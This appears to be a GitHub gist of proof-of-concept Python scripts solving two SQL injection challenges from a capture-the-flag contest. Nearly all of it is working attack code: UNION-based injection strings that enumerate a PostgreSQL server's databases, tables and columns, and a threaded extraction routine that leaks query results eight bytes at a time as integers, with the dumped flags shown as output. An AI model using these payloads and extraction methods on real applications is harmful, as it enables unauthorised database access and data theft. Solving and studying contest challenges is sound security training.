Skip to content

Instantly share code, notes, and snippets.

@l0vey0u
Last active August 26, 2023 04:36
Show Gist options
  • Save l0vey0u/055f1abd080c1c26d51fd5b373f5d13a to your computer and use it in GitHub Desktop.
Save l0vey0u/055f1abd080c1c26d51fd5b373f5d13a to your computer and use it in GitHub Desktop.
sstf poc
import requests
from bs4 import BeautifulSoup
URI = "http://libreriapro37657fd3.sstf.site"
params = {
"key": 2016,
"search_with": "year",
"currency":"krw"
}
def _request(params):
resp = requests.get(URI, params=params)
soup = BeautifulSoup(resp.text, 'html.parser')
for td in soup.select('td'):
if "None" not in td.get_text():
return td.get_text()
params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(datname,','), null, null, null, null, null, null, null, null from pg_database -- a"
print(f"[database] {_request(params.copy())}")
params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(table_name,','), null, null, null, null, null, null, null, null from information_schema.tables where table_schema like 'books' -- a"
print(f"[table] {_request(params.copy())}")
params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(column_name,','), null, null, null, null, null, null, null, null from information_schema.columns where table_name like 'impl_t0p5ecr3t' -- a"
print(f"[columns] {_request(params.copy())}")
params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(value,','), null, null, null, null, null, null, null, null from impl_t0p5ecr3t -- a"
print(f"[impl_t0p5ecr3t][value] {_request(params.copy())}")
# >> [database] postgres,template1,template0,books
# >> [table] django_migrations,django_content_type,auth_permission,auth_group,auth_group_permissions,auth_user,auth_user_groups,auth_user_user_permissions,django_admin_log,impl_books,django_session,impl_t0p5ecr3t
# >> [columns] id,key,value
# >> [impl_t0p5ecr3t][value] Nice!,SCTF{L3ts_k3Ep_th3_veRs10n_0f_the_fr4mEwOrk_up_to_d4te}
import requests
import string
from functools import wraps
from concurrent.futures import ThreadPoolExecutor
import time
URI = "http://libreria.sstf.site/rest.php"
all_data = {}
def long_to_bytes(longd):
hexs = hex(longd)[2:]
return ''.join([chr(int(hexs[i:i+2],16)) for i in range(0, len(hexs), 2)]).replace("\x00", "")
def extract_int(result):
return int(''.join(x for x in result if x.isdigit()))
params = {
"cmd": "requestbook",
"isbn": ""
}
def _future_completed(future):
""" Helper for run_in_executor() """
exc = future.exception()
if exc:
print("Failed to run task on executor", exc_info=exc)
executor = ThreadPoolExecutor()
def run_in_executor(f):
"""
A decorator to run the given method in the ThreadPoolExecutor.
"""
@wraps(f)
def new_f(*args, **kwargs):
try:
future = executor.submit(f, *args, **kwargs)
future.add_done_callback(_future_completed)
except Exception:
print("Failed to submit task to executor")
return new_f
result = {}
@run_in_executor
def _request(params, req_id=0):
resp = requests.get(URI, params=params)
if "already" in resp.text:
result[req_id] = extract_int(resp.text)
else:
print(resp.text)
result[req_id] = -1
def leak_data(query):
global result
# get data len
# query example: select string_agg(datname, ',') from pg_database
params['isbn'] = f"1' union select 1000000000+(select length(({query}))) -- a"
_request(params)
time.sleep(4)
result_int = result[0]
result = {}
if result_int == -1:
return
result_int -= 1_000_000_000
_round = result_int // 8
for i in range(_round):
params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from generate_series(1,length(string_agg), 8) for 8) from a group by string_agg limit 1 offset {i})c -- a"
_request(params.copy(), i)
if result_int % 8 != 0:
rem = result_int%8
params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from {result_int-rem+1} for {rem}) from a group by string_agg)c -- a"
_request(params.copy(), _round)
time.sleep(4)
data = ''
for i in range(_round):
data += long_to_bytes(result[i])
if result_int % 8 != 0:
data += long_to_bytes(result[_round])
result = {}
return data
import time
start = time.time()
print("[Database]")
print(leak_data("select string_agg(datname, ',') from pg_database"))
print("[Table]")
print(leak_data("select string_agg(table_name, ',') from information_schema.tables where table_schema = 'books'"))
print("[Column][adminonly]")
print(leak_data("select string_agg(column_name, ',') from information_schema.columns where table_name = 'adminonly'"))
print("[value][adminonly]")
print(leak_data("select string_agg(value, ',') from adminonly where value ilike '%SCTF{%'"))
print(f"duration = {time.time() - start:.2f}s")
# >> [Database]
# >> postgres,books,template1,template0
# >> [Table]
# >> adminonly,books,employee
# >> [Column][adminonly]
# >> idx,key,value
# >> [value][adminonly]
# >> SCTF{SQL_i5_4_l4n9uage_t0_man4G3_d4ta_1n_Da7aba$e5}
# >> duration = 32.05s
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment